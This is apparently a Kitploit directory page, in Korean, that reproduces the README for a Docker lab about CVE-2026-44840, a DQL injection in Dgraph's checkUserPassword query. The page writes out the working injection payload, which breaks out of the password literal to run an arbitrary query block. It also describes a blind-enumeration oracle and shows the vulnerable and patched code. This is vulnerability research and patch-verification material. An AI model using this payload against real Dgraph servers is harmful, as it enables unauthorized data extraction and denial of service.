Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-44840-poc — Dgraph의 checkUserPassword GraphQL 쿼리에서 발생하는 DQL 인젝션인 CVE-2026-44840을 재현하는 Docker 랩으로, 익스플로잇 스크립트와 취약 버전 대 패치 버전 비교를 포함합니다. | Kitploit
도구/GitHubGitHub/isaca0315/cve-2026-44840-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRed TeamingDatabase SecurityLabs & Practice
GitHubisaca0315/cve-2026-44840-poc

CVE-2026-44840-poc

Dgraph의 checkUserPassword GraphQL 쿼리에서 발생하는 DQL 인젝션인 CVE-2026-44840을 재현하는 Docker 랩으로, 익스플로잇 스크립트와 취약 버전 대 패치 버전 비교를 포함합니다.

저장소 보기
1일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-44840 — PoC: checkUserPassword를 통한 Dgraph DQL 인젝션 (GraphQL)

Dgraph에서 실제 인젝션을 재현하는 Docker 랩:

  • 취약: dgraph/dgraph:v25.3.3
  • 패치됨 : dgraph/dgraph:v25.3.4

2026년 실제 CVE · CVSS 3.1 7.5 (High) · CWE-943 (Improper Neutralization in Data Query Logic) · Kai Aizen에게 귀속됨 (GHSA-q2m9-6jp9-c6mc, GO-2026-5837). 격리되고 승인된 랩 환경에서만 사용하세요.

배경

checkUserPassword는 @secret(field: "password") 지시어가 있는 타입에 대해 Dgraph가 자동으로 생성하는 GraphQL 쿼리입니다. (≤ v25.3.3)에서 password는 로 연결되었습니다:

graphql/resolve/query_rewriter.go
fmt.Sprintf
이스케이프나 파라미터화 없이
root@kitploit:~
pwdVar := fmt.Sprintf(`checkpwd(%s, "%s")`, predicate, password)   // VULNERABLE

공격자의 password는 DQL에 그대로 삽입됩니다:

root@kitploit:~
pwd as checkpwd(User.password, "<password del atacante>")

수정 사항(v25.3.4, 커밋 cee702c)은 값을 파라미터화합니다:

root@kitploit:~
pwdVar = "$pwd0"                                  // FIX
// executa con &dgoapi.Request{Query: qry, Vars: map[string]string{"$pwd0": password}, ...}

PoC가 하는 일

  1. 두 개의 클러스터 Dgraph(zero+alpha)를 띄웁니다: v25.3.3 및 v25.3.4.

  2. type User @secret(field: "password") 스키마를 업로드하고 admin, alice, bob을 생성합니다.

  3. checkUserPassword에 DQL 리터럴을 탈출하고 임의의 쿼리 블록을 추가하는 password를 전송합니다:

    root@kitploit:~
    x")
    }
    injected(func: has(User.name)) {
      User.name
      User.email
      uid
    }
    #
    

    v25.3.3에서는 injected { ... } 블록이 파싱되어 서버 측에서 실행됩니다.

관찰 가능한 결과

테스트v25.3.3 (취약)v25.3.4 (패치됨)
올바른 password로 로그인OK (touched_uids 7)OK (touched_uids 7)
잘못된 password로 로그인null (5)null (5)
인젝션된 password )} injected{...} #실행됨: touched_uids 14무력화됨: 5
오라클: eq(User.name,"bob") 인젝션touched_uids 7 (존재)5
오라클: eq(User.name,"nobody") 인젝션5 (존재하지 않음)5
dgraph alpha 로그injected 블록이 포함된 DQL 표시파라미터화된 DQL, 블록 없음

CVE의 영향: 서버 측 임의 DQL 실행 → 데이터 블라인드 열거(touched_uids/타이밍 기반), 스키마 발견(has(), eq()) 및 비용이 큰 순회(expand(_all_), 재귀)를 인젝션하여 리소스 소비로 인한 DoS.

사용법

root@kitploit:~
# 1) levantar todo, preparar esquema/usuarios y ejecutar el exploit
bash run.sh

# 2) solo el exploit (si el lab ya esta preparado)
python3 exploit/exploit.py

# 3) montar el entorno desde cero (pod / volcado)
docker compose up -d
python3 setup/setup.py --alpha http://localhost:8180
python3 setup/setup.py --alpha http://localhost:8280

# 4) limpiar
docker compose down            # conserva los volumenes
docker compose down -v         # borra los volumenes (datos de dgraph)

랩 엔드포인트

서비스HTTP GraphQLHTTP admingRPC alpha
alpha v25.3.3http://localhost:8180/graphqlhttp://localhost:8180/admin9180
alpha v25.3.4http://localhost:8280/graphqlhttp://localhost:8280/admin9280

구조

root@kitploit:~
CVE-2026-44840-poc/
├── docker-compose.yml     # 2 clusters: zero+alpha v25.3.3 / v25.3.4
├── schema.graphql         # type User @secret(field:"password")
├── run.sh                 # orquestador completo
├── REDTEAM.md             # guía red team: recon + explotación paso a paso + OPSEC
├── setup/setup.py         # esquema + usuarios
└── exploit/exploit.py     # inyeccion DQL e oraculo

공격적 운영 가이드(정찰, 단계별 익스플로잇, 페이로드, 증거 및 OPSEC): REDTEAM.md.

페이로드 세부 사항

password는 GraphQL 변수로 전달되며, rewriter에 도달하는 값은 이스케이프되지 않고 checkpwd(User.password, "...") 내부에 삽입됩니다. 페이로드:

root@kitploit:~
x")            # cierra el literal de checkpwd y la funcion
}              # cierra el bloque checkPwd
injected(...)  # nuevo bloque root del atacante
  { ... }
#              # comenta el resto del template:  ")

#는 템플릿의 접미사(checkpwd의 닫는 ")가 파싱을 깨뜨리는 것을 방지합니다.

완화

  • dgraph v25.3.4+로 업데이트하세요.
  • 요약: DQL의 값을 항상 파라미터화하고(dgoapi.Request의 vars), fmt.Sprintf로 입력을 절대 보간하지 마세요.
  • 인덱스/ACL을 활성화하고 프로덕션에서 인증 없이 GraphQL을 노출하지 마세요.# CVE-2026-44840-poc
도구 다운로드